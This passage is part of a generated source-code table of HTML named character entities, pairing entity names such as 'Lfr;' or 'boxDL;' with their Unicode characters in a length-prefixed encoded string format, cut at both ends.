			"\x12ftArrowRightArrow;\x03⇆\x10ftDoubleBracket;\x03⟦\x10ftDownTeeVector;\x03⥡\x10ftDownVectorBar;\x03⥙\x10ftTriangleEqual;\x03⊴\x0fftAngleBracket;\x03⟨\x0fftUpDownVector;\x03⥑\x0fssEqualGreater;\x03⋚\x0eftRightVector;\x03⥎\x0eftTriangleBar;\x03⧏\x0eftUpTeeVector;\x03⥠\x0eftUpVectorBar;\x03⥘\x0dftDownVector;\x03⇃\x0dftRightArrow;\x03↔\x0dftrightarrow;\x03⇔\x0dssSlantEqual;\x03⩽\x0cftTeeVector;\x03⥚\x0cftVectorBar;\x03⥒\x0cssFullEqual;\x03≦\x0bftArrowBar;\x03⇤\x0bftTeeArrow;\x03↤\x0bftTriangle;\x03⊲\x0bftUpVector;\x03↿\x0aftCeiling;\x03⌈\x0assGreater;\x03≶\x09ftVector;\x03↼\x08ftArrow;\x03←\x08ftFloor;\x03⌊\x08ftarrow;\x03⇐\x08ssTilde;\x03≲\x07ssLess;\x03⪡\x06ftTee;\x03⊣",
			// Lfr;[𝔏].
			"\x02r;\x04𝔏",
			// Lleftarrow;[⇚] Ll;[⋘].
			"\x09eftarrow;\x03⇚\x01;\x03⋘",
			// Lmidot;[Ŀ].
			"\x05idot;\x02Ŀ",
			// LongLeftRightArrow;[⟷] Longleftrightarrow;[⟺] LowerRightArrow;[↘] LongRightArrow;[⟶] Longrightarrow;[⟹] LowerLeftArrow;[↙] LongLeftArrow;[⟵] Longleftarrow;[⟸] Lopf;[𝕃].
			"\x11ngLeftRightArrow;\x03⟷\x11ngleftrightarrow;\x03⟺\x0ewerRightArrow;\x03↘\x0dngRightArrow;\x03⟶\x0dngrightarrow;\x03⟹\x0dwerLeftArrow;\x03↙\x0cngLeftArrow;\x03⟵\x0cngleftarrow;\x03⟸\x03pf;\x04𝕃",
			// Lstrok;[Ł] Lscr;[ℒ] Lsh;[↰].
			"\x05trok;\x02Ł\x03cr;\x03ℒ\x02h;\x03↰",
			// Lt;[≪].
			"\x01;\x03≪",
			// Map;[⤅].
			"\x02p;\x03⤅",
			// Mcy;[М].
			"\x02y;\x02М",
			// MediumSpace;[ ] Mellintrf;[ℳ].
			"\x0adiumSpace;\x03 \x08llintrf;\x03ℳ",
			// Mfr;[𝔐].
			"\x02r;\x04𝔐",
			// MinusPlus;[∓].
			"\x08nusPlus;\x03∓",
			// Mopf;[𝕄].
			"\x03pf;\x04𝕄",
			// Mscr;[ℳ].
			"\x03cr;\x03ℳ",
			// Mu;[Μ].
			"\x01;\x02Μ",
			// NJcy;[Њ].
			"\x03cy;\x02Њ",
			// Nacute;[Ń].
			"\x05cute;\x02Ń",
			// Ncaron;[Ň] Ncedil;[Ņ] Ncy;[Н].
			"\x05aron;\x02Ň\x05edil;\x02Ņ\x02y;\x02Н",
			// NegativeVeryThinSpace;[​] NestedGreaterGreater;[≫] NegativeMediumSpace;[​] NegativeThickSpace;[​] NegativeThinSpace;[​] NestedLessLess;[≪] NewLine;[\xa].
			"\x14gativeVeryThinSpace;\x03​\x13stedGreaterGreater;\x03≫\x12gativeMediumSpace;\x03​\x11gativeThickSpace;\x03​\x10gativeThinSpace;\x03​\x0dstedLessLess;\x03≪\x06wLine;\x01\xa",
			// Nfr;[𝔑].
			"\x02r;\x04𝔑",
			// NotNestedGreaterGreater;[⪢̸] NotSquareSupersetEqual;[⋣] NotPrecedesSlantEqual;[⋠] NotRightTriangleEqual;[⋭] NotSucceedsSlantEqual;[⋡] NotDoubleVerticalBar;[∦] NotGreaterSlantEqual;[⩾̸] NotLeftTriangleEqual;[⋬] NotSquareSubsetEqual;[⋢] NotGreaterFullEqual;[≧̸] NotRightTriangleBar;[⧐̸] NotLeftTriangleBar;[⧏̸] NotGreaterGreater;[≫̸] NotLessSlantEqual;[⩽̸] NotNestedLessLess;[⪡̸] NotReverseElement;[∌] NotSquareSuperset;[⊐̸] NotTildeFullEqual;[≇] NonBreakingSpace;[ ] NotPrecedesEqual;[⪯̸] NotRightTriangle;[⋫] NotSucceedsEqual;[⪰̸] NotSucceedsTilde;[≿̸] NotSupersetEqual;[⊉] NotGreaterEqual;[≱] NotGreaterTilde;[≵] NotHumpDownHump;[≎̸] NotLeftTriangle;[⋪] NotSquareSubset;[⊏̸] NotGreaterLess;[≹] NotLessGreater;[≸] NotSubsetEqual;[⊈] NotVerticalBar;[∤] NotEqualTilde;[≂̸] NotTildeEqual;[≄] NotTildeTilde;[≉] NotCongruent;[≢] NotHumpEqual;[≏̸] NotLessEqual;[≰] NotLessTilde;[≴] NotLessLess;[≪̸] NotPrecedes;[⊀] NotSucceeds;[⊁] NotSuperset;[⊃⃒] NotElement;[∉] NotGreater;[≯] NotCupCap;[≭] NotExists;[∄] NotSubset;[⊂⃒] NotEqual;[≠] NotTilde;[≁] NoBreak;[⁠] NotLess;[≮] Nopf;[ℕ] Not;[⫬].
			"\x16tNestedGreaterGreater;\x05⪢̸\x15tSquareSupersetEqual;\x03⋣\x14tPrecedesSlantEqual;\x03⋠\x14tRightTriangleEqual;\x03⋭\x14tSucceedsSlantEqual;\x03⋡\x13tDoubleVerticalBar;\x03∦\x13tGreaterSlantEqual;\x05⩾̸\x13tLeftTriangleEqual;\x03⋬\x13tSquareSubsetEqual;\x03⋢\x12tGreaterFullEqual;\x05≧̸\x12tRightTriangleBar;\x05⧐̸\x11tLeftTriangleBar;\x05⧏̸\x10tGreaterGreater;\x05≫̸\x10tLessSlantEqual;\x05⩽̸\x10tNestedLessLess;\x05⪡̸\x10tReverseElement;\x03∌\x10tSquareSuperset;\x05⊐̸\x10tTildeFullEqual;\x03≇\x0fnBreakingSpace;\x02 \x0ftPrecedesEqual;\x05⪯̸\x0ftRightTriangle;\x03⋫\x0ftSucceedsEqual;\x05⪰̸\x0ftSucceedsTilde;\x05≿̸\x0ftSupersetEqual;\x03⊉\x0etGreaterEqual;\x03≱\x0etGreaterTilde;\x03≵\x0etHumpDownHump;\x05≎̸\x0etLeftTriangle;\x03⋪\x0etSquareSubset;\x05⊏̸\x0dtGreaterLess;\x03≹\x0dtLessGreater;\x03≸\x0dtSubsetEqual;\x03⊈\x0dtVerticalBar;\x03∤\x0ctEqualTilde;\x05≂̸\x0ctTildeEqual;\x03≄\x0ctTildeTilde;\x03≉\x0btCongruent;\x03≢\x0btHumpEqual;\x05≏̸\x0btLessEqual;\x03≰\x0btLessTilde;\x03≴\x0atLessLess;\x05≪̸\x0atPrecedes;\x03⊀\x0atSucceeds;\x03⊁\x0atSuperset;\x06⊃⃒\x09tElement;\x03∉\x09tGreater;\x03≯\x08tCupCap;\x03≭\x08tExists;\x03∄\x08tSubset;\x06⊂⃒\x07tEqual;\x03≠\x07tTilde;\x03≁\x06Break;\x03⁠\x06tLess;\x03≮\x03pf;\x03ℕ\x02t;\x03⫬",
			// Nscr;[𝒩].
			"\x03cr;\x04𝒩",
			// Ntilde;[Ñ] Ntilde[Ñ].
			"\x05ilde;\x02Ñ\x04ilde\x02Ñ",
			// Nu;[Ν].
			"\x01;\x02Ν",
			// OElig;[Œ].
			"\x04lig;\x02Œ",
			// Oacute;[Ó] Oacute[Ó].
			"\x05cute;\x02Ó\x04cute\x02Ó",
			// Ocirc;[Ô] Ocirc[Ô] Ocy;[О].
			"\x04irc;\x02Ô\x03irc\x02Ô\x02y;\x02О",
			// Odblac;[Ő].
			"\x05blac;\x02Ő",
			// Ofr;[𝔒].
			"\x02r;\x04𝔒",
			// Ograve;[Ò] Ograve[Ò].
			"\x05rave;\x02Ò\x04rave\x02Ò",
			// Omicron;[Ο] Omacr;[Ō] Omega;[Ω].
			"\x06icron;\x02Ο\x04acr;\x02Ō\x04ega;\x02Ω",
			// Oopf;[𝕆].
			"\x03pf;\x04𝕆",
			// OpenCurlyDoubleQuote;[“] OpenCurlyQuote;[‘].
			"\x13enCurlyDoubleQuote;\x03“\x0denCurlyQuote;\x03‘",
			// Or;[⩔].
			"\x01;\x03⩔",
			// Oslash;[Ø] Oslash[Ø] Oscr;[𝒪].
			"\x05lash;\x02Ø\x04lash\x02Ø\x03cr;\x04𝒪",
			// Otilde;[Õ] Otimes;[⨷] Otilde[Õ].
			"\x05ilde;\x02Õ\x05imes;\x03⨷\x04ilde\x02Õ",
			// Ouml;[Ö] Ouml[Ö].
			"\x03ml;\x02Ö\x02ml\x02Ö",
			// OverParenthesis;[⏜] OverBracket;[⎴] OverBrace;[⏞] OverBar;[‾].
			"\x0eerParenthesis;\x03⏜\x0aerBracket;\x03⎴\x08erBrace;\x03⏞\x06erBar;\x03‾",
			// PartialD;[∂].
			"\x07rtialD;\x03∂",
			// Pcy;[П].
			"\x02y;\x02П",
			// Pfr;[𝔓].
			"\x02r;\x04𝔓",
			// Phi;[Φ].
			"\x02i;\x02Φ",
			// Pi;[Π].
			"\x01;\x02Π",
			// PlusMinus;[±].
			"\x08usMinus;\x02±",
			// Poincareplane;[ℌ] Popf;[ℙ].
			"\x0cincareplane;\x03ℌ\x03pf;\x03ℙ",
			// PrecedesSlantEqual;[≼] PrecedesEqual;[⪯] PrecedesTilde;[≾] Proportional;[∝] Proportion;[∷] Precedes;[≺] Product;[∏] Prime;[″] Pr;[⪻].
			"\x11ecedesSlantEqual;\x03≼\x0cecedesEqual;\x03⪯\x0cecedesTilde;\x03≾\x0boportional;\x03∝\x09oportion;\x03∷\x07ecedes;\x03≺\x06oduct;\x03∏\x04ime;\x03″\x01;\x03⪻",
			// Pscr;[𝒫] Psi;[Ψ].
			"\x03cr;\x04𝒫\x02i;\x02Ψ",
			// QUOT;[\"] QUOT[\"].
			"\x03OT;\x01\"\x02OT\x01\"",
			// Qfr;[𝔔].
			"\x02r;\x04𝔔",
			// Qopf;[ℚ].
			"\x03pf;\x03ℚ",
			// Qscr;[𝒬].
			"\x03cr;\x04𝒬",
			// RBarr;[⤐].
			"\x04arr;\x03⤐",
			// REG;[®] REG[®].
			"\x02G;\x02®\x01G\x02®",
			// Racute;[Ŕ] Rarrtl;[⤖] Rang;[⟫] Rarr;[↠].
			"\x05cute;\x02Ŕ\x05rrtl;\x03⤖\x03ng;\x03⟫\x03rr;\x03↠",
			// Rcaron;[Ř] Rcedil;[Ŗ] Rcy;[Р].
			"\x05aron;\x02Ř\x05edil;\x02Ŗ\x02y;\x02Р",
			// ReverseUpEquilibrium;[⥯] ReverseEquilibrium;[⇋] ReverseElement;[∋] Re;[ℜ].
			"\x13verseUpEquilibrium;\x03⥯\x11verseEquilibrium;\x03⇋\x0dverseElement;\x03∋\x01;\x03ℜ",
			// Rfr;[ℜ].
			"\x02r;\x03ℜ",
			// Rho;[Ρ].
			"\x02o;\x02Ρ",
			// RightArrowLeftArrow;[⇄] RightDoubleBracket;[⟧] RightDownTeeVector;[⥝] RightDownVectorBar;[⥕] RightTriangleEqual;[⊵] RightAngleBracket;[⟩] RightUpDownVector;[⥏] RightTriangleBar;[⧐] RightUpTeeVector;[⥜] RightUpVectorBar;[⥔] RightDownVector;[⇂] RightTeeVector;[⥛] RightVectorBar;[⥓] RightArrowBar;[⇥] RightTeeArrow;[↦] RightTriangle;[⊳] RightUpVector;[↾] RightCeiling;[⌉] RightVector;[⇀] RightArrow;[→] RightFloor;[⌋] Rightarrow;[⇒] RightTee;[⊢].
			"\x12ghtArrowLeftArrow;\x03⇄\x11ghtDoubleBracket;\x03⟧\x11ghtDownTeeVector;\x03⥝\x11ghtDownVectorBar;\x03⥕\x11ghtTriangleEqual;\x03⊵\x10ghtAngleBracket;\x03⟩\x10ghtUpDownVector;\x03⥏\x0fghtTriangleBar;\x03⧐\x0fghtUpTeeVector;\x03⥜\x0fghtUpVectorBar;\x03⥔\x0eghtDownVector;\x03⇂\x0dghtTeeVector;\x03⥛\x0dghtVectorBar;\x03⥓\x0cghtArrowBar;\x03⇥\x0cghtTeeArrow;\x03↦\x0cghtTriangle;\x03⊳\x0cghtUpVector;\x03↾\x0bghtCeiling;\x03⌉\x0aghtVector;\x03⇀\x09ghtArrow;\x03→\x09ghtFloor;\x03⌋\x09ghtarrow;\x03⇒\x07ghtTee;\x03⊢",
			// RoundImplies;[⥰] Ropf;[ℝ].
			"\x0bundImplies;\x03⥰\x03pf;\x03ℝ",
			// Rrightarrow;[⇛].
			"\x0aightarrow;\x03⇛",
			// Rscr;[ℛ] Rsh;[↱].
			"\x03cr;\x03ℛ\x02h;\x03↱",
			// RuleDelayed;[⧴].
			"\x0aleDelayed;\x03⧴",
			// SHCHcy;[Щ] SHcy;[Ш].
			"\x05CHcy;\x02Щ\x03cy;\x02Ш",
			// SOFTcy;[Ь].
			"\x05FTcy;\x02Ь",
			// Sacute;[Ś].
			"\x05cute;\x02Ś",
			// Scaron;[Š] Scedil;[Ş] Scirc;[Ŝ] Scy;[С] Sc;[⪼].
			"\x05aron;\x02Š\x05edil;\x02Ş\x04irc;\x02Ŝ\x02y;\x02С\x01;\x03⪼",
			// Sfr;[𝔖].
			"\x02r;\x04𝔖",
			// ShortRightArrow;[→] ShortDownArrow;[↓] ShortLeftArrow;[←] ShortUpArrow;[↑].
			"\x0eortRightArrow;\x03→\x0dortDownArrow;\x03↓\x0dortLeftArrow;\x03←\x0bortUpArrow;\x03↑",
			// Sigma;[Σ].
			"\x04gma;\x02Σ",
			// SmallCircle;[∘].
			"\x0aallCircle;\x03∘",
			// Sopf;[𝕊].
			"\x03pf;\x04𝕊",
			// SquareSupersetEqual;[⊒] SquareIntersection;[⊓] SquareSubsetEqual;[⊑] SquareSuperset;[⊐] SquareSubset;[⊏] SquareUnion;[⊔] Square;[□] Sqrt;[√].
			"\x12uareSupersetEqual;\x03⊒\x11uareIntersection;\x03⊓\x10uareSubsetEqual;\x03⊑\x0duareSuperset;\x03⊐\x0buareSubset;\x03⊏\x0auareUnion;\x03⊔\x05uare;\x03□\x03rt;\x03√",
			// Sscr;[𝒮].
			"\x03cr;\x04𝒮",
			// Star;[⋆].
			"\x03ar;\x03⋆",
			// SucceedsSlantEqual;[≽] SucceedsEqual;[⪰] SucceedsTilde;[≿] SupersetEqual;[⊇] SubsetEqual;[⊆] Succeeds;[≻] SuchThat;[∋] Superset;[⊃] Subset;[⋐] Supset;[⋑] Sub;[⋐] Sum;[∑] Sup;[⋑].
			"\x11cceedsSlantEqual;\x03≽\x0ccceedsEqual;\x03⪰\x0ccceedsTilde;\x03≿\x0cpersetEqual;\x03⊇\x0absetEqual;\x03⊆\x07cceeds;\x03≻\x07chThat;\x03∋\x07perset;\x03⊃\x05bset;\x03⋐\x05pset;\x03⋑\x02b;\x03⋐\x02m;\x03∑\x02p;\x03⋑",
			// THORN;[Þ] THORN[Þ].
			"\x04ORN;\x02Þ\x03ORN\x02Þ",
			// TRADE;[™].
			"\x04ADE;\x03™",
			// TSHcy;[Ћ] TScy;[Ц].
			"\x04Hcy;\x02Ћ\x03cy;\x02Ц",
			// Tab;[\x9] Tau;[Τ].
			"\x02b;\x01\x9\x02u;\x02Τ",
			// Tcaron;[Ť] Tcedil;[Ţ] Tcy;[Т].
			"\x05aron;\x02Ť\x05edil;\x02Ţ\x02y;\x02Т",
			// Tfr;[𝔗].
			"\x02r;\x04𝔗",
			// ThickSpace;[  ] Therefore;[∴] ThinSpace;[ ] Theta;[Θ].
			"\x09ickSpace;\x06  \x08erefore;\x03∴\x08inSpace;\x03 \x04eta;\x02Θ",
			// TildeFullEqual;[≅] TildeEqual;[≃] TildeTilde;[≈] Tilde;[∼].
			"\x0dldeFullEqual;\x03≅\x09ldeEqual;\x03≃\x09ldeTilde;\x03≈\x04lde;\x03∼",
			// Topf;[𝕋].
			"\x03pf;\x04𝕋",
			// TripleDot;[⃛].
			"\x08ipleDot;\x03⃛",
			// Tstrok;[Ŧ] Tscr;[𝒯].
			"\x05trok;\x02Ŧ\x03cr;\x04𝒯",
			// Uarrocir;[⥉] Uacute;[Ú] Uacute[Ú] Uarr;[↟].
			"\x07rrocir;\x03⥉\x05cute;\x02Ú\x04cute\x02Ú\x03rr;\x03↟",
			// Ubreve;[Ŭ] Ubrcy;[Ў].
			"\x05reve;\x02Ŭ\x04rcy;\x02Ў",
			// Ucirc;[Û] Ucirc[Û] Ucy;[У].
			"\x04irc;\x02Û\x03irc\x02Û\x02y;\x02У",
			// Udblac;[Ű].
			"\x05blac;\x02Ű",
			// Ufr;[𝔘].
			"\x02r;\x04𝔘",
			// Ugrave;[Ù] Ugrave[Ù].
			"\x05rave;\x02Ù\x04rave\x02Ù",
			// Umacr;[Ū].
			"\x04acr;\x02Ū",
			// UnderParenthesis;[⏝] UnderBracket;[⎵] UnderBrace;[⏟] UnionPlus;[⊎] UnderBar;[_] Union;[⋃].
			"\x0fderParenthesis;\x03⏝\x0bderBracket;\x03⎵\x09derBrace;\x03⏟\x08ionPlus;\x03⊎\x07derBar;\x01_\x04ion;\x03⋃",
			// Uogon;[Ų] Uopf;[𝕌].
			"\x04gon;\x02Ų\x03pf;\x04𝕌",
			// UpArrowDownArrow;[⇅] UpperRightArrow;[↗] UpperLeftArrow;[↖] UpEquilibrium;[⥮] UpDownArrow;[↕] Updownarrow;[⇕] UpArrowBar;[⤒] UpTeeArrow;[↥] UpArrow;[↑] Uparrow;[⇑] Upsilon;[Υ] UpTee;[⊥] Upsi;[ϒ].
			"\x0fArrowDownArrow;\x03⇅\x0eperRightArrow;\x03↗\x0dperLeftArrow;\x03↖\x0cEquilibrium;\x03⥮\x0aDownArrow;\x03↕\x0adownarrow;\x03⇕\x09ArrowBar;\x03⤒\x09TeeArrow;\x03↥\x06Arrow;\x03↑\x06arrow;\x03⇑\x06silon;\x02Υ\x04Tee;\x03⊥\x03si;\x02ϒ",
			// Uring;[Ů].
			"\x04ing;\x02Ů",
			// Uscr;[𝒰].
			"\x03cr;\x04𝒰",
			// Utilde;[Ũ].
			"\x05ilde;\x02Ũ",
			// Uuml;[Ü] Uuml[Ü].
			"\x03ml;\x02Ü\x02ml\x02Ü",
			// VDash;[⊫].
			"\x04ash;\x03⊫",
			// Vbar;[⫫].
			"\x03ar;\x03⫫",
			// Vcy;[В].
			"\x02y;\x02В",
			// Vdashl;[⫦] Vdash;[⊩].
			"\x05ashl;\x03⫦\x04ash;\x03⊩",
			// VerticalSeparator;[❘] VerticalTilde;[≀] VeryThinSpace;[ ] VerticalLine;[|] VerticalBar;[∣] Verbar;[‖] Vert;[‖] Vee;[⋁].
			"\x10rticalSeparator;\x03❘\x0crticalTilde;\x03≀\x0cryThinSpace;\x03 \x0brticalLine;\x01|\x0articalBar;\x03∣\x05rbar;\x03‖\x03rt;\x03‖\x02e;\x03⋁",
			// Vfr;[𝔙].
			"\x02r;\x04𝔙",
			// Vopf;[𝕍].
			"\x03pf;\x04𝕍",
			// Vscr;[𝒱].
			"\x03cr;\x04𝒱",
			// Vvdash;[⊪].
			"\x05dash;\x03⊪",
			// Wcirc;[Ŵ].
			"\x04irc;\x02Ŵ",
			// Wedge;[⋀].
			"\x04dge;\x03⋀",
			// Wfr;[𝔚].
			"\x02r;\x04𝔚",
			// Wopf;[𝕎].
			"\x03pf;\x04𝕎",
			// Wscr;[𝒲].
			"\x03cr;\x04𝒲",
			// Xfr;[𝔛].
			"\x02r;\x04𝔛",
			// Xi;[Ξ].
			"\x01;\x02Ξ",
			// Xopf;[𝕏].
			"\x03pf;\x04𝕏",
			// Xscr;[𝒳].
			"\x03cr;\x04𝒳",
			// YAcy;[Я].
			"\x03cy;\x02Я",
			// YIcy;[Ї].
			"\x03cy;\x02Ї",
			// YUcy;[Ю].
			"\x03cy;\x02Ю",
			// Yacute;[Ý] Yacute[Ý].
			"\x05cute;\x02Ý\x04cute\x02Ý",
			// Ycirc;[Ŷ] Ycy;[Ы].
			"\x04irc;\x02Ŷ\x02y;\x02Ы",
			// Yfr;[𝔜].
			"\x02r;\x04𝔜",
			// Yopf;[𝕐].
			"\x03pf;\x04𝕐",
			// Yscr;[𝒴].
			"\x03cr;\x04𝒴",
			// Yuml;[Ÿ].
			"\x03ml;\x02Ÿ",
			// ZHcy;[Ж].
			"\x03cy;\x02Ж",
			// Zacute;[Ź].
			"\x05cute;\x02Ź",
			// Zcaron;[Ž] Zcy;[З].
			"\x05aron;\x02Ž\x02y;\x02З",
			// Zdot;[Ż].
			"\x03ot;\x02Ż",
			// ZeroWidthSpace;[​] Zeta;[Ζ].
			"\x0droWidthSpace;\x03​\x03ta;\x02Ζ",
			// Zfr;[ℨ].
			"\x02r;\x03ℨ",
			// Zopf;[ℤ].
			"\x03pf;\x03ℤ",
			// Zscr;[𝒵].
			"\x03cr;\x04𝒵",
			// aacute;[á] aacute[á].
			"\x05cute;\x02á\x04cute\x02á",
			// abreve;[ă].
			"\x05reve;\x02ă",
			// acirc;[â] acute;[´] acirc[â] acute[´] acE;[∾̳] acd;[∿] acy;[а] ac;[∾].
			"\x04irc;\x02â\x04ute;\x02´\x03irc\x02â\x03ute\x02´\x02E;\x05∾̳\x02d;\x03∿\x02y;\x02а\x01;\x03∾",
			// aelig;[æ] aelig[æ].
			"\x04lig;\x02æ\x03lig\x02æ",
			// afr;[𝔞] af;[⁡].
			"\x02r;\x04𝔞\x01;\x03⁡",
			// agrave;[à] agrave[à].
			"\x05rave;\x02à\x04rave\x02à",
			// alefsym;[ℵ] aleph;[ℵ] alpha;[α].
			"\x06efsym;\x03ℵ\x04eph;\x03ℵ\x04pha;\x02α",
			// amacr;[ā] amalg;[⨿] amp;[&] amp[&].
			"\x04acr;\x02ā\x04alg;\x03⨿\x02p;\x01&\x01p\x01&",
			// andslope;[⩘] angmsdaa;[⦨] angmsdab;[⦩] angmsdac;[⦪] angmsdad;[⦫] angmsdae;[⦬] angmsdaf;[⦭] angmsdag;[⦮] angmsdah;[⦯] angrtvbd;[⦝] angrtvb;[⊾] angzarr;[⍼] andand;[⩕] angmsd;[∡] angsph;[∢] angle;[∠] angrt;[∟] angst;[Å] andd;[⩜] andv;[⩚] ange;[⦤] and;[∧] ang;[∠].
			"\x07dslope;\x03⩘\x07gmsdaa;\x03⦨\x07gmsdab;\x03⦩\x07gmsdac;\x03⦪\x07gmsdad;\x03⦫\x07gmsdae;\x03⦬\x07gmsdaf;\x03⦭\x07gmsdag;\x03⦮\x07gmsdah;\x03⦯\x07grtvbd;\x03⦝\x06grtvb;\x03⊾\x06gzarr;\x03⍼\x05dand;\x03⩕\x05gmsd;\x03∡\x05gsph;\x03∢\x04gle;\x03∠\x04grt;\x03∟\x04gst;\x02Å\x03dd;\x03⩜\x03dv;\x03⩚\x03ge;\x03⦤\x02d;\x03∧\x02g;\x03∠",
			// aogon;[ą] aopf;[𝕒].
			"\x04gon;\x02ą\x03pf;\x04𝕒",
			// approxeq;[≊] apacir;[⩯] approx;[≈] apid;[≋] apos;['] apE;[⩰] ape;[≊] ap;[≈].
			"\x07proxeq;\x03≊\x05acir;\x03⩯\x05prox;\x03≈\x03id;\x03≋\x03os;\x01'\x02E;\x03⩰\x02e;\x03≊\x01;\x03≈",
			// aring;[å] aring[å].
			"\x04ing;\x02å\x03ing\x02å",
			// asympeq;[≍] asymp;[≈] ascr;[𝒶] ast;[*].
			"\x06ympeq;\x03≍\x04ymp;\x03≈\x03cr;\x04𝒶\x02t;\x01*",
			// atilde;[ã] atilde[ã].
			"\x05ilde;\x02ã\x04ilde\x02ã",
			// auml;[ä] auml[ä].
			"\x03ml;\x02ä\x02ml\x02ä",
			// awconint;[∳] awint;[⨑].
			"\x07conint;\x03∳\x04int;\x03⨑",
			// bNot;[⫭].
			"\x03ot;\x03⫭",
			// backepsilon;[϶] backprime;[‵] backsimeq;[⋍] backcong;[≌] barwedge;[⌅] backsim;[∽] barvee;[⊽] barwed;[⌅].
			"\x0ackepsilon;\x02϶\x08ckprime;\x03‵\x08cksimeq;\x03⋍\x07ckcong;\x03≌\x07rwedge;\x03⌅\x06cksim;\x03∽\x05rvee;\x03⊽\x05rwed;\x03⌅",
			// bbrktbrk;[⎶] bbrk;[⎵].
			"\x07rktbrk;\x03⎶\x03rk;\x03⎵",
			// bcong;[≌] bcy;[б].
			"\x04ong;\x03≌\x02y;\x02б",
			// bdquo;[„].
			"\x04quo;\x03„",
			// because;[∵] bemptyv;[⦰] between;[≬] becaus;[∵] bernou;[ℬ] bepsi;[϶] beta;[β] beth;[ℶ].
			"\x06cause;\x03∵\x06mptyv;\x03⦰\x06tween;\x03≬\x05caus;\x03∵\x05rnou;\x03ℬ\x04psi;\x02϶\x03ta;\x02β\x03th;\x03ℶ",
			// bfr;[𝔟].
			"\x02r;\x04𝔟",
			// bigtriangledown;[▽] bigtriangleup;[△] bigotimes;[⨂] bigoplus;[⨁] bigsqcup;[⨆] biguplus;[⨄] bigwedge;[⋀] bigcirc;[◯] bigodot;[⨀] bigstar;[★] bigcap;[⋂] bigcup;[⋃] bigvee;[⋁].
			"\x0egtriangledown;\x03▽\x0cgtriangleup;\x03△\x08gotimes;\x03⨂\x07goplus;\x03⨁\x07gsqcup;\x03⨆\x07guplus;\x03⨄\x07gwedge;\x03⋀\x06gcirc;\x03◯\x06godot;\x03⨀\x06gstar;\x03★\x05gcap;\x03⋂\x05gcup;\x03⋃\x05gvee;\x03⋁",
			// bkarow;[⤍].
			"\x05arow;\x03⤍",
			// blacktriangleright;[▸] blacktriangledown;[▾] blacktriangleleft;[◂] blacktriangle;[▴] blacklozenge;[⧫] blacksquare;[▪] blank;[␣] blk12;[▒] blk14;[░] blk34;[▓] block;[█].
			"\x11acktriangleright;\x03▸\x10acktriangledown;\x03▾\x10acktriangleleft;\x03◂\x0cacktriangle;\x03▴\x0backlozenge;\x03⧫\x0aacksquare;\x03▪\x04ank;\x03␣\x04k12;\x03▒\x04k14;\x03░\x04k34;\x03▓\x04ock;\x03█",
			// bnequiv;[≡⃥] bnot;[⌐] bne;[=⃥].
			"\x06equiv;\x06≡⃥\x03ot;\x03⌐\x02e;\x04=⃥",
			// boxminus;[⊟] boxtimes;[⊠] boxplus;[⊞] bottom;[⊥] bowtie;[⋈] boxbox;[⧉] boxDL;[╗] boxDR;[╔] boxDl;[╖] boxDr;[╓] boxHD;[╦] boxHU;[╩] boxHd;[╤] boxHu;[╧] boxUL;[╝] boxUR;[╚] boxUl;[╜] boxUr;[╙] boxVH;[╬] boxVL;[╣] boxVR;[╠] boxVh;[╫] boxVl;[╢] boxVr;[╟] boxdL;[╕] boxdR;[╒] boxdl;[┐] boxdr;[┌] boxhD;[╥] boxhU;[╨] boxhd;[┬] boxhu;[┴] boxuL;[╛] boxuR;[╘] boxul;[┘] boxur;[└] boxvH;[╪] boxvL;[╡] boxvR;[╞] boxvh;[┼] boxvl;[┤] boxvr;[├] bopf;[𝕓] boxH;[═] boxV;[║] boxh;[─] boxv;[│] bot;[⊥].
			"\x07xminus;\x03⊟\x07xtimes;\x03⊠\x06xplus;\x03⊞\x05ttom;\x03⊥\x05wtie;\x03⋈\x05xbox;\x03⧉\x04xDL;\x03╗\x04xDR;\x03╔\x04xDl;\x03╖\x04xDr;\x03╓\x04xHD;\x03╦\x04xHU;\x03╩\x04xHd;\x03╤\x04xHu;\x03╧\x04xUL;\x03╝\x04xUR;\x03╚\x04xUl;\x03╜\x04xUr;\x03╙\x04xVH;\x03╬\x04xVL;\x03╣\x04xVR;\x03╠\x04xVh;\x03╫\x04xVl;\x03╢\x04xVr;\x03╟\x04xdL;\x03╕\x04xdR;\x03╒\x04xdl;\x03┐\x04xdr;\x03┌\x04xhD;\x03╥\x04xhU;\x03╨\x04xhd;\x03┬\x04xhu;\x03┴\x04xuL;\x03╛\x04xuR;\x03╘\x04xul;\x03┘\x04xur;\x03└\x04xvH;\x03╪\x04xvL;\x03╡\x04xvR;\x03╞\x04xvh;\x03┼\x04xvl;\x03┤\x04xvr;\x03├\x03pf;\x04𝕓\x03xH;\x03═\x03xV;\x03║\x03xh;\x03─\x03xv;\x03│\x02t;\x03⊥",
			// bprime;[‵].
			"\x05rime;\x03‵",
			// brvbar;[¦] breve;[˘] brvbar[¦].
			"\x05vbar;\x02¦\x04eve;\x02˘\x04vbar\x02¦",
			// bsolhsub;[⟈] bsemi;[⁏] bsime;[⋍] bsolb;[⧅] bscr;[𝒷] bsim;[∽] bsol;[\\].
			"\x07olhsub;\x03⟈\x04emi;\x03⁏\x04ime;\x03⋍\x04olb;\x03⧅\x03cr;\x04𝒷\x03im;\x03∽\x03ol;\x01\\",
			// bullet;[•] bumpeq;[≏] bumpE;[⪮] bumpe;[≏] bull;[•] bump;[≎].
			"\x05llet;\x03•\x05mpeq;\x03≏\x04mpE;\x03⪮\x04mpe;\x03≏\x03ll;\x03•\x03mp;\x03≎",
			// capbrcup;[⩉] cacute;[ć] capand;[⩄] capcap;[⩋] capcup;[⩇] capdot;[⩀] caret;[⁁] caron;[ˇ] caps;[∩︀] cap;[∩].
			"\x07pbrcup;\x03⩉\x05cute;\x02ć\x05pand;\x03⩄\x05pcap;\x03⩋\x05pcup;\x03⩇\x05pdot;\x03⩀\x04ret;\x03⁁\x04ron;\x02ˇ\x03ps;\x06∩︀\x02p;\x03∩",
			// ccupssm;[⩐] ccaron;[č] ccedil;[ç] ccaps;[⩍] ccedil[ç] ccirc;[ĉ] ccups;[⩌].
			"\x06upssm;\x03⩐\x05aron;\x02č\x05edil;\x02ç\x04aps;\x03⩍\x04edil\x02ç\x04irc;\x02ĉ\x04ups;\x03⩌",
			// cdot;[ċ].
			"\x03ot;\x02ċ",
			// centerdot;[·] cemptyv;[⦲] cedil;[¸] cedil[¸] cent;[¢] cent[¢].
			"\x08nterdot;\x02·\x06mptyv;\x03⦲\x04dil;\x02¸\x03dil\x02¸\x03nt;\x02¢\x02nt\x02¢",
			// cfr;[𝔠].
			"\x02r;\x04𝔠",
			// checkmark;[✓] check;[✓] chcy;[ч] chi;[χ].
